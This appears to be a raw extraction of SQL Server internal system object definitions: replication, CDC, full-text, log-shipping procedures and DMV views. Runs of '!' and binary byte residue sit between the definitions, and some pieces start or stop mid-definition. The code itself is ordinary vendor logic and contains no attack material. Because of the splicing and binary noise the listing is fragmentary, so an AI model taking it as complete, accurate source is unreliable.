				@publisher_login = login,
				@publisher_password = password
			from msdb.dbo.MSdistpublishers
			where upper(@original_publisher) = upper(name)
			and N'MSSQLSERVER' = upper(publisher_type)
		end

		-- Create the linked server for the redirected publisher.
        -- 
        set @option = 'sys.sp_addlinkedserver' 
        execute @retcode = sys.sp_addlinkedserver  @publisher_linked_server
        if @retcode <> 0
        begin
            raiserror (21885, 16, 1, @retcode) 
        end

        set @server_created = 1
     
        -- Mark the linked server as a system link.
        --       
        set @option = 'sys.sp_serveroption ''system'', ''true'''
		execute @retcode = sys.sp_serveroption  @publisher_linked_server, 'system', 'true'
        if @retcode <> 0
        begin
            raiserror (21885, 16, 2, @retcode) 
        end
 
        -- Enable data access for the linked server.
        --       
        set @option = 'sys.sp_serveroption ''data access'', ''true'''
		execute @retcode = sys.sp_serveroption  @publisher_linked_server, 'data access', 'true'
        if @retcode <> 0 
        begin
            raiserror (21885, 16, 3, @retcode) 
        end
        
        set @option = 'sys.sp_serveroption ''rpc'', ''true'''
		execute @retcode = sys.sp_serveroption  @publisher_linked_server, 'rpc', 'true'
        if @retcode <> 0
        begin
            raiserror (21885, 16, 4, @retcode) 
        end 
        
        set @option = 'sys.sp_serveroption ''rpc out'', ''true'''
		execute @retcode = sys.sp_serveroption  @publisher_linked_server, 'rpc out', 'true'
        if @retcode <> 0
        begin
            raiserror (21885, 16, 5, @retcode) 
        end

		-- Set the netname to the redirected target.
		--
        set @option = 'sys.sp_setnetname'
		execute @retcode = sys.sp_setnetname  @publisher_linked_server, @redirected_publisher
        if @retcode <> 0
        begin
            raiserror (21885, 16, 6, @retcode) 
        end
        
		if @publisher_security_mode = 1 or @use_caller_credentials = 1
		begin
			set @option = 'sys.sp_addlinkedsrvlogin Windows authentication'
			exec @retcode = sys.sp_addlinkedsrvlogin 
				@rmtsrvname = @publisher_linked_server,
				@useself = 'true',
				@locallogin = null,
				@rmtuser = null,
				@rmtpassword = null
		end
		else
		begin
			set @option = 'sys.sp_addlinkedsrvlogin SQL Server authentication'
			exec @retcode = sys.sp_MSrepldecrypt @publisher_password OUTPUT
			if @retcode <> 0
			begin
				raiserror (21885, 16, 7, @retcode) 
			end

			exec @retcode = sys.sp_addlinkedsrvlogin 
				@rmtsrvname = @publisher_linked_server,
				@useself = 'false',
				@locallogin = null,
				@rmtuser = @publisher_login,
				@rmtpassword = @publisher_password

			set @publisher_password = REPLICATE(N'-', 254)
		end
		
		if @retcode <> 0
		begin
            raiserror (21885, 16, 7, @retcode) 
		end
		
    end try
    
    begin catch
		exec sys.sp_hadr_get_current_error @original_error_number output, @original_error_message output
		
		if @server_created = 1
		begin
            exec sys.sp_hadr_drop_linked_server @publisher_linked_server
		end
		
		set @retcode = 1
		
        raiserror (21878, 16, -1, @redirected_publisher, @original_publisher, @publisher_db, @option,
            @original_error_number, @original_error_message)
    end catch
    
    return @retcode
        		
end
0J 8create procedure sys.sp_cdc_parse_captured_column_list
(
	@source_schema sysname,
	@source_name sysname,
	@captured_column_list nvarchar(max)
)	
as
begin
	declare @retcode int
		,@column sysname
		,@list nvarchar(max)
		,@object_id int
		,@column_name sysname
		,@column_type sysname
		,@source_table nvarchar(1000)
		,@is_computed bit
		
	declare @captured_columns table
		(
			column_name sysname,
			column_type sysname,
			is_computed bit
		)		

    set nocount on
    
    set @list = @captured_column_list
    set @column = null
    set @source_table = quotename(@source_schema) + N'.' + quotename(@source_name)
    set @object_id = object_id(@source_table)
   
    -- Extract one token at a time from the list
    while(@list is not null)
    begin
        -- Split out the next column from the list
		exec @retcode = [sys].[sp_cdc_extract_column] @column output
			,@list output
		
		if (@retcode != 0) or (@@error != 0)
		begin
			return 1
		end
		
		set @column_name = null		

		-- Locate information for the extracted column
		select @column_name = name,
			   @column_type = isnull(type_name(system_type_id), type_name(user_type_id)),
			   @is_computed = is_computed
		from [sys].[columns]   
		where object_id = @object_id
		and   name      = @column
		
		if (@column_name is null)
		begin
			raiserror(22930, 16, -1, @column, @source_schema, @source_name)
			return 1 	 	
		end
		
		-- Populate local table with column information
		insert into @captured_columns
		values(@column_name, @column_type, @is_computed)
    end
    
    -- Generate output result set
    select * from @captured_columns
    
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!A\`Z
q<ir20| 	8
--
-- Name: sp_vupgrade_express_edition
--
-- Descriptions: 
--	For Express Edition, this proc drops all the merge publications
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_vupgrade_express_edition
as
begin
    set nocount on

    declare @quoteddbname nvarchar(270), 
            @has_dbaccess bit,
            @proccmd nvarchar(4000),
            @unquoteddbname sysname,
            @category int

    raiserror(20731, 10, -1) --Dropping all merge publications

    -- Drop publication for all databases except system and distribution db's
    DECLARE #current_db CURSOR LOCAL FAST_FORWARD
    FOR
    SELECT  distinct name, N'[' + replace(name, N']', N']]') + N']',
            has_dbaccess(name),category
    FROM    master.dbo.sysdatabases 
    WHERE   name COLLATE DATABASE_DEFAULT NOT IN
                (
                    N'master' ,
                    N'tempdb' ,
                    N'msdb'   ,
                    N'model'
                )
            and category & 16 = 0
            and databasepropertyex(name, 'Updateability') = 'READ_WRITE'
    FOR READ ONLY

    --
    -- Process each database in the cursor
    --
    open #current_db
    fetch #current_db into @unquoteddbname, @quoteddbname, @has_dbaccess,@category
    while ( @@fetch_status <> -1 )
    begin
        if ( @has_dbaccess = 1 )
        begin
            --
            -- Database is accessible for cleanup
            --
            if (@category & 4 = 4 or @category & 1 = 1)
            begin 
                --
                -- Database is enabled for replication publishing
                -- Drop all publications and disable the db for publishing.
                -- This is done under exception block.
                --
                if object_id(@quoteddbname + N'.dbo.sysmergepublications', 'U') is not null
                begin
                    select @proccmd = @quoteddbname + N'.sys.sp_dropmergepublication'
                    begin try
                        exec @proccmd @publication = N'all', @ignore_distributor = 1
                        exec sys.sp_replicationdboption @dbname = @unquoteddbname, @optname = N'merge publish', @value=N'false', @ignore_distributor=1
                    end try
                    begin catch
                        --
                        -- An exception was raised in try block.
                        -- Check if there are aborted transactions
                        -- At this point we should not have any open transactions
                        -- If there any open transactions - roll them back completely
                        --
                        if (@@trancount > 0)
                            rollback transaction
                        --
                        -- if there subscriptions - the publication will not be dropped
                        -- exception will cleanup publication metadata
                        --
                        if object_id(@quoteddbname + N'.dbo.sysmergepublications', 'U') is not null
                        begin
                            select @proccmd = N'delete from ' + @quoteddbname + N'.dbo.sysmergepublications ' 
                                    + N'where UPPER(publisher)=UPPER(publishingservername())'
                                    + N'and publisher_db = N''' + replace(@unquoteddbname, '''', '''''') + N''' '
                            exec (@proccmd)
                        end
                    end catch                    
                end -- dropping merge publications
                if object_id(@quoteddbname + N'.dbo.syspublications', 'U') is not null
                begin
                    select @proccmd = @quoteddbname + N'.sys.sp_droppublication'
                    begin try
                        exec @proccmd @publication = N'all', @ignore_distributor = 1
                        exec sys.sp_replicationdboption @dbname = @unquoteddbname, @optname = N'publish', @value=N'false', @ignore_distributor=1
                    end try
                    begin catch
                        --
                        -- An exception was raised in try block.
                        -- Check if there are aborted transactions
                        -- At this point we should not have any open transactions
                        -- If there any open transactions - roll them back completely
                        --
                        if (@@trancount > 0)
                            rollback transaction
                        --
                        -- if there subscriptions - the publication will not be dropped
                        -- exception will cleanup publication metadata
                        --
                        if object_id(@quoteddbname + N'.dbo.syspublications', 'U') is not null
                        begin
                            select @proccmd = N'delete from ' + @quoteddbname + N'.dbo.syspublications ' 
                            exec (@proccmd)
                        end
                    end catch
                end -- dropping transactional publications
            end -- if (@category & 4 = 4 or @category & 1 = 1)
            else
            begin
                -- Database is not enabled for replication publishing
                -- Register all pull subscription in the sync manager sync all jobs are gone in msde->express upgrade
                -- I don't see much point testing for error after each step(we would like to continue any way).
                select @proccmd = @quoteddbname + N'.sys.sp_MSregister_all_trans_pull_subscriptions'
                exec @proccmd

                select @proccmd = @quoteddbname + N'.sys.sp_MSregister_all_merge_pull_subscriptions'
                exec @proccmd
            end
        end -- if ( @has_dbaccess = 1 )
        else
        begin
            -- The database is not inaccessible
            raiserror( 21376, 10, 1, @quoteddbname)
        end

        fetch next from #current_db into @unquoteddbname, @quoteddbname, @has_dbaccess,@category
    end
    close #current_db
    deallocate #current_db

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<E
sK'0W& '8create procedure sys.sp_help_fulltext_columns_cursor
	@cursor_return CURSOR VARYING OUTPUT,
	@table_name nvarchar(517) = NULL,		-- table name
	@column_name	sysname = NULL				-- column name
as
	-- FULLTEXT MUST BE ACTIVE IN DATABASE --
	if DatabasePropertyEx(db_name(), 'IsFulltextEnabled') = 0
	begin
		raiserror(15601,-1,-1)
		return 1
	end

	if @table_name is not null
	begin
		-- VALIDATE TABLE NAME --
		--	(1) Must exist in current database
		declare @objid int
		select @objid = object_id(@table_name, 'local')
		if @objid is null
		begin
			declare @curdbname sysname
			select @curdbname = db_name()
			raiserror(15009,-1,-1 ,@table_name, @curdbname)
			return 1
		end
		--	(2) Must be a user table or indexed view (and not a temp table)
		if (ObjectProperty(@objid, 'IsUserTable') = 0 AND (ObjectProperty(@objid, 'IsView') = 0 OR ObjectProperty(@objid, 'IsIndexed') = 0 )) OR 
		    substring(parsename(@table_name,1),1,1) = '#'
		begin
			raiserror(15218,-1,-1 ,@table_name)
			return 1
		end

		-- VALIDATE COLUMN NAME (CANNOT BE COMPUTED) --
		if @column_name is not null
		begin
			declare @typename sysname
			select @typename = type_name(ColumnProperty(@objid, @column_name, 'SystemType'))
			if @typename is null
			begin
				raiserror(15104,-1,-1,@table_name,@column_name)
				return 1
			end
		end
	end

	-- We are using schema owner as table owner now. Check with garish for their decision on using schema owner 
	-- in place of table owner for backward compatibility issue. 
	set @cursor_return =	CURSOR LOCAL SCROLL STATIC FOR
	select distinct
			ssche.name as TABLE_OWNER,
			sftcol.object_id as TABLE_ID,
			sobj.name as TABLE_NAME,
			scol.name as FULLTEXT_COLUMN_NAME,
			sftcol.column_id as FULLTEXT_COLID,
			scol2.name as FULLTEXT_BLOBTP_COLNAME,
			case sftcol.type_column_id 
			     when 0 then null 
                 else sftcol.type_column_id
			end as FULLTEXT_BLOBTP_COLID,
			sftcol.language_id as FULLTEXT_LANGUAGE
	from
			sys.fulltext_index_columns as sftcol 
			-- the nolock is to not block while crawl or master merge is creating fragments
			join sys.objects as sobj WITH (NOLOCK) on(sftcol.object_id = sobj.object_id)
			join sys.columns as scol on (sftcol.object_id = scol.object_id and sftcol.column_id = scol.column_id) 
			left outer join sys.columns as scol2 on (sftcol.object_id = scol2.object_id and sftcol.type_column_id = scol2.column_id)
			join sys.schemas as ssche on (sobj.schema_id = ssche.schema_id)
	where 	(
			  @column_name is null or
			  scol.name = @column_name
			)   
			AND (
			  @table_name is null or
			  sobj.object_id = @objid
			) 
	order by TABLE_OWNER, TABLE_NAME, FULLTEXT_COLID

	open @cursor_return

	-- SUCCESS --
	return 0	-- sp_help_fulltext_columns_cursor
0G@ 8CREATE VIEW sys.configurations$ AS
	SELECT p.id AS configuration_id,
		p.name,
		v.value,
		convert(sql_variant, p.minval) AS minimum,
		convert(sql_variant, p.maxval) AS maximum,
		convert(sql_variant, p.value) AS value_in_use,
		p.description,
		sysconv(bit, p.status & 1) AS is_dynamic,	-- x_eco_Dynamic
		sysconv(bit, p.status & 2) AS is_advanced,	-- x_eco_Advanced
		sysconv(bit, p.status & 4) AS is_not_use	-- x_ecio_NotSupported or x_ecio_Deprecated
	FROM OpenRowset(TABLE CFGPROP) p
	LEFT JOIN master.sys.sysobjvalues v ON v.valclass = 50 AND v.objid = p.id AND v.subobjid = 0 AND v.valnum = 0	-- SVC_CONFIG
0 B8
create procedure sys.sp_catalogs_rowset2
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        CATALOG_NAME    = name,
        DESCRIPTION     = convert(nvarchar(1),null)
    from
        sys.databases
    where
        has_dbaccess(name)=1 OR serverproperty('EngineEdition') = 5
    order by 1
0/ U8create procedure sys.sp_MSproxylogshippingmonitorhelpprimary 
(
    @monitor_server sysname
    ,@p1 sysname
    ,@p2 sysname
    ,@p3 uniqueidentifier output
    ,@p4 int output
    ,@p5 bit output
    ,@p6 nvarchar(500) output
    ,@p7 datetime output
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int
                ,@linkcmd nvarchar(4000)
    --
    -- get data from remote monitor
    --
    delete #primary_monitor
    select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.master.sys.sp_help_log_shipping_monitor_primary '
            ,@retcode = 0
    begin try
        insert into #primary_monitor
        exec @retcode = @linkcmd 
                    @primary_server = @p1
                    ,@primary_database = @p2
    end try
    begin catch
        select @retcode = 1
                ,@p3 = NULL
    end catch

    if (@retcode = 0)
    begin
        select @p3 = primary_id
                ,@p4 = backup_threshold
                ,@p5 = threshold_alert_enabled
                ,@p6 = last_backup_file
                ,@p7 = last_backup_date_utc 
        from #primary_monitor
    end
    else
    begin
        raiserror(32030, 10, 1, @p1, @p2, @monitor_server)
    end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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^`<t52pƍ0 8
-- UNDONE: Need to copy this rowset into a 100 version and leave the
-- 90 version unchanged.
--
create function sys.fn_procedure_params_90_rowset
(
    @procedure_name     sysname,
    @group_number       int = 1,
    @procedure_schema   sysname = null,
    @parameter_name     sysname = null
)
RETURNS TABLE
AS
RETURN
(
    select
        PROCEDURE_CATALOG           = s_pp.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA            = s_pp.PROCEDURE_SCHEMA,
        PROCEDURE_NAME              = convert(nvarchar(134),
                                                s_pp.PROCEDURE_NAME +';'+
                                                ltrim(str(coalesce(s_pp.procedure_number,@group_number,1), 5))),
        PARAMETER_NAME              = s_pp.PARAMETER_NAME,
        ORDINAL_POSITION            = s_pp.ORDINAL_POSITION,
        PARAMETER_TYPE              = s_pp.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT        = s_pp.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT           = s_pp.PARAMETER_DEFAULT,
        IS_NULLABLE                 = s_pp.IS_NULLABLE,
        DATA_TYPE                   = s_pp.DATA_TYPE, -- Used by Katmai clients
        DATA_TYPE_90                = s_pp.DATA_TYPE_90, -- Used by Yukon clients
        MANAGED_DATA_TYPE           = s_pp.MANAGED_DATA_TYPE, -- Used by Katmai+ System.Data.SqlClient
        CHARACTER_MAXIMUM_LENGTH    = s_pp.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_MAXIMUM_LENGTH_90 = s_pp.CHARACTER_MAXIMUM_LENGTH_90,
        CHARACTER_OCTET_LENGTH      = s_pp.CHARACTER_OCTET_LENGTH,
        CHARACTER_OCTET_LENGTH_90   = s_pp.CHARACTER_OCTET_LENGTH_90,
        NUMERIC_PRECISION           = s_pp.NUMERIC_PRECISION,
        NUMERIC_SCALE               = s_pp.NUMERIC_SCALE,
        DESCRIPTION                 = s_pp.DESCRIPTION,
        TYPE_NAME                   = s_pp.TYPE_NAME,
        LOCAL_TYPE_NAME             = s_pp.LOCAL_TYPE_NAME,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = s_pp.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_pp.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME = s_pp.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME          = s_pp.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME           = s_pp.SS_UDT_SCHEMANAME,
        SS_UDT_NAME                 = s_pp.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME    = s_pp.SS_UDT_ASSEMBLY_TYPENAME,
        SS_TYPE_CATALOG_NAME        = s_pp.SS_TYPE_CATALOG_NAME,
        SS_TYPE_SCHEMANAME          = s_pp.SS_TYPE_SCHEMANAME,
        SS_DATETIME_PRECISION       = s_pp.SS_DATETIME_PRECISION
    from
        sys.spt_procedure_params_view s_pp

    where
        (s_pp.object_id = object_id(isnull(quotename(@procedure_schema), '') + '.' + quotename(@procedure_name)))
        and
        (
            @group_number is null or
            (s_pp.procedure_number = @group_number and s_pp.type in ('P', 'PC')) or
            (s_pp.procedure_number = 0             and s_pp.type in ('FN', 'TF', 'IF'))
        )
        and
        (@parameter_name is null or @parameter_name = s_pp.PARAMETER_NAME)

    UNION ALL

    select
        PROCEDURE_CATALOG           = s_pprv.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA            = s_pprv.PROCEDURE_SCHEMA,
        PROCEDURE_NAME              = convert(nvarchar(134),
                                                s_pprv.PROCEDURE_NAME +';'+
                                                ltrim(str(coalesce(s_pprv.procedure_number,@group_number,1), 5))),
        PARAMETER_NAME              = s_pprv.PARAMETER_NAME,
        ORDINAL_POSITION            = s_pprv.ORDINAL_POSITION,
        PARAMETER_TYPE              = s_pprv.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT        = s_pprv.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT           = s_pprv.PARAMETER_DEFAULT,
        IS_NULLABLE                 = s_pprv.IS_NULLABLE,
        DATA_TYPE                   = s_pprv.DATA_TYPE,  -- Return value is either int or empty.
        DATA_TYPE_90                = s_pprv.DATA_TYPE,  -- Return value is either int or empty.
        MANAGED_DATA_TYPE           = s_pprv.MANAGED_DATA_TYPE, -- Used by Katmai+ System.Data.SqlClient
        CHARACTER_MAXIMUM_LENGTH    = s_pprv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_MAXIMUM_LENGTH_90 = s_pprv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH      = s_pprv.CHARACTER_OCTET_LENGTH,
        CHARACTER_OCTET_LENGTH_90   = s_pprv.CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION           = s_pprv.NUMERIC_PRECISION,
        NUMERIC_SCALE               = s_pprv.NUMERIC_SCALE,
        DESCRIPTION                 = s_pprv.DESCRIPTION,
        TYPE_NAME                   = s_pprv.TYPE_NAME,
        LOCAL_TYPE_NAME             = s_pprv.LOCAL_TYPE_NAME,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = s_pprv.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_pprv.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME = s_pprv.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME          = s_pprv.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME           = s_pprv.SS_UDT_SCHEMANAME,
        SS_UDT_NAME                 = s_pprv.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME    = s_pprv.SS_UDT_ASSEMBLY_TYPENAME,
        SS_TYPE_CATALOG_NAME        = s_pprv.SS_TYPE_CATALOG_NAME,
        SS_TYPE_SCHEMANAME          = s_pprv.SS_TYPE_SCHEMANAME,
        SS_DATETIME_PRECISION       = s_pprv.SS_DATETIME_PRECISION
    from
        sys.spt_procedure_params_return_values_view s_pprv

    where
        (s_pprv.object_id = object_id(isnull(quotename(@procedure_schema), '') + '.' + quotename(@procedure_name)))
        and
        (
            @parameter_name is null or
            (@parameter_name = '@RETURN_VALUE' and s_pprv.type in ('P', 'PC')) or
            (@parameter_name = '@TABLE_RETURN_VALUE' and s_pprv.type <> 'P' and s_pprv.type <> 'PC')
        )
        and
        (
            @group_number is null or
            (s_pprv.procedure_number = 0             and s_pprv.type in ('FN', 'TF', 'IF')) or
            (s_pprv.procedure_number = @group_number and s_pprv.type in ('P', 'PC'))
        )

)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`v;<{u8-t30@@ #8create procedure sys.sp_MSreleaseMergeUpgradeSubscriberAppLock
as
begin
    set nocount on

    declare @retcode smallint
    declare @lock_resource nvarchar(255)
    declare @DbPrincipal sysname 

    /* 
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@error<>0
        return 1
        
    select @retcode = 0
    
    -- use the dbowner role
    select @DbPrincipal = N'db_owner'
    select @lock_resource = N'MSinternal_repl_merge_upgrade_subscriber' + convert(nvarchar(6), db_id()) 

    exec @retcode = sp_releaseapplock @Resource = @lock_resource, @LockOwner = N'Session', @DbPrincipal = @DbPrincipal
    if @@error<>0 or @retcode<0
        return 1
    else
        return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`Y?<vO
R0O؉ 8 
-- add it
create view sys.dm_pdw_nodes_exec_background_job_queue_stats as
select *, convert(int, null) pdw_node_id from sys.dm_exec_background_job_queue_stats
0B@ 8CREATE VIEW sys.dm_os_windows_info AS
	SELECT *
	FROM OpenRowset(TABLE DM_OS_WINDOWS_INFO) 
0@ 8create view sys.dm_os_cluster_nodes
as
	select 
		[NodeName],
		[status] = convert (int, [state] & 0xffff),
		[status_description] = 
			CASE convert(int, [state] & 0xffff)
				When 0 Then 'up'
				When 1 Then 'down'
				When 3 Then 'joining'
				When 2 Then 'paused'
				Else 'unknown'
			END,
		convert(bit, [state] & 0x10000) as is_current_owner
	from OpenRowset(TABLE VIRTUALSERVERNODES)
0E 8create function sys.fn_replgetNumOfWarningsMergesubscriptionsOnPublication (
    @publisher_id smallint, 
    @publisher_db sysname,
    @publication sysname,
    @publication_id int,
    @retention int,
    @merge_SyncExpireTimeThreshold int,
    @merge_RunDurationThreshold int,
    @currentdate datetime
)
returns int
as
begin
    -- a subscription is in warning state if it exceeds either of perf thresholds
    -- warnings are number of subscription that has exceeds perf threshold
    declare @start_time datetime, @duration int, @expirationThreshold int, @count int
    set @expirationThreshold = convert(int, @merge_SyncExpireTimeThreshold*@retention/100.0)
    set @count=0

    declare hCursor cursor local fast_forward for
    select sessions.start_time, sessions.duration
    from dbo.MSmerge_subscriptions subs
	    ,dbo.MSmerge_agents agents
	    ,dbo.MSmerge_sessions sessions
	    ,(
	    	select agent_id, max(start_time) as maxtime 
	    	from dbo.MSmerge_sessions group by agent_id
	    ) as latest
    where subs.publication_id=@publication_id
	    and subs.publisher_db=@publisher_db
	    and subs.publisher_id=@publisher_id
	    and subs.subscriber_id=agents.subscriber_id
	    and subs.subscriber_db=agents.subscriber_db
	    and agents.publisher_id=@publisher_id
	    and agents.publisher_db=@publisher_db 
	    and agents.publication=@publication	    
	    and agents.id=sessions.agent_id
	    and sessions.agent_id=latest.agent_id
	    and latest.maxtime=sessions.start_time

    open hCursor
    fetch hCursor into @start_time, @duration

    while (@@fetch_status <>-1)
    begin
    	if DATEDIFF(minute, @start_time, @currentdate) >= @expirationThreshold*3600
    	OR ISNULL(@duration,0) >= @merge_RunDurationThreshold
    		set @count=@count+1
    	fetch hCursor into @start_time, @duration
    end

    return @count
end
0 8
create function sys.fn_cdc_constraint_required
(
	@object_id int
)
returns sysname
as
begin
	declare @index_name sysname

	if (isnull(object_id('cdc.change_tables'),0) = 0) 
	begin
		return 0
	end
	
	select @index_name = index_name
	from cdc.change_tables with (index = source_object_id_idx)
	where source_object_id = @object_id
	
	if (@index_name is null)
	begin
		return null
	end	

	if not exists
	(
		select name from sys.indexes
		where object_id = @object_id
		  and name = @index_name
		  and is_disabled = 0
		  and is_unique = 1
	)
	begin
		return @index_name
	end			  

	return null	
end
05/@ f8create procedure sys.sp_MSsetreset_NFR_FK @fkid int, @set bit as
begin
	-- Security check
    if 1 <> is_member('db_owner')
    begin
        RAISERROR (15247, 11, -1)
        return 1
    end
    
	EXEC %%Object(ID = @fkid).SetConstraintNotForRepl(Value = @set)
	if @@error <> 0
		return 1
		
	return 0
	
end

                        p1.class = 1 and
                        p1.major_id = p.major_id and
                        p1.minor_id = c.column_id and
                        p1.state in ('D', 'R') and
                        p1.type = p.type and
                        p1.grantee_principal_id = p.grantee_principal_id and
                        p1.grantor_principal_id = p.grantor_principal_id
                   )
    union

    select  -- Add rows for table owner
        TABLE_QUALIFIER = convert(sysname,db_name()),
        TABLE_OWNER     = convert(sysname,schema_name(o.schema_id)),
        TABLE_NAME      = @table_name,
        COLUMN_NAME     = convert(sysname,col_name(@table_id, c.column_id)),
        GRANTOR         = convert(sysname,user_name(u.principal_id)),
        GRANTEE         = convert(sysname,user_name(ObjectProperty(o.object_id,'ownerid'))),
        PRIVILEGE       = convert (varchar(32), v.permission),
        IS_GRANTABLE    = convert(varchar(3),'YES')
    from
        sys.all_objects o inner join
        sys.all_columns c on
            (
                c.object_id = @table_id and
                c.object_id = o.object_id and
                c.name like @column_name
            ) inner join
        sys.database_principals u on
            (
                u.principal_id = 1  -- grantor is 'dbo' of database
            ) inner join
        sys.spt_permission_names v on
            (
                v.number > 0 and -- exclude delete
                has_perms_by_name(quotename(schema_name(o.schema_id)) + '.' + quotename(o.name), 'OBJECT', v.permission) = 1
            )

    order by 4, 7
0BR@ D8Ih?"0q@ 8create procedure sys.sp_MScheckforexpiredmergesubscriptions
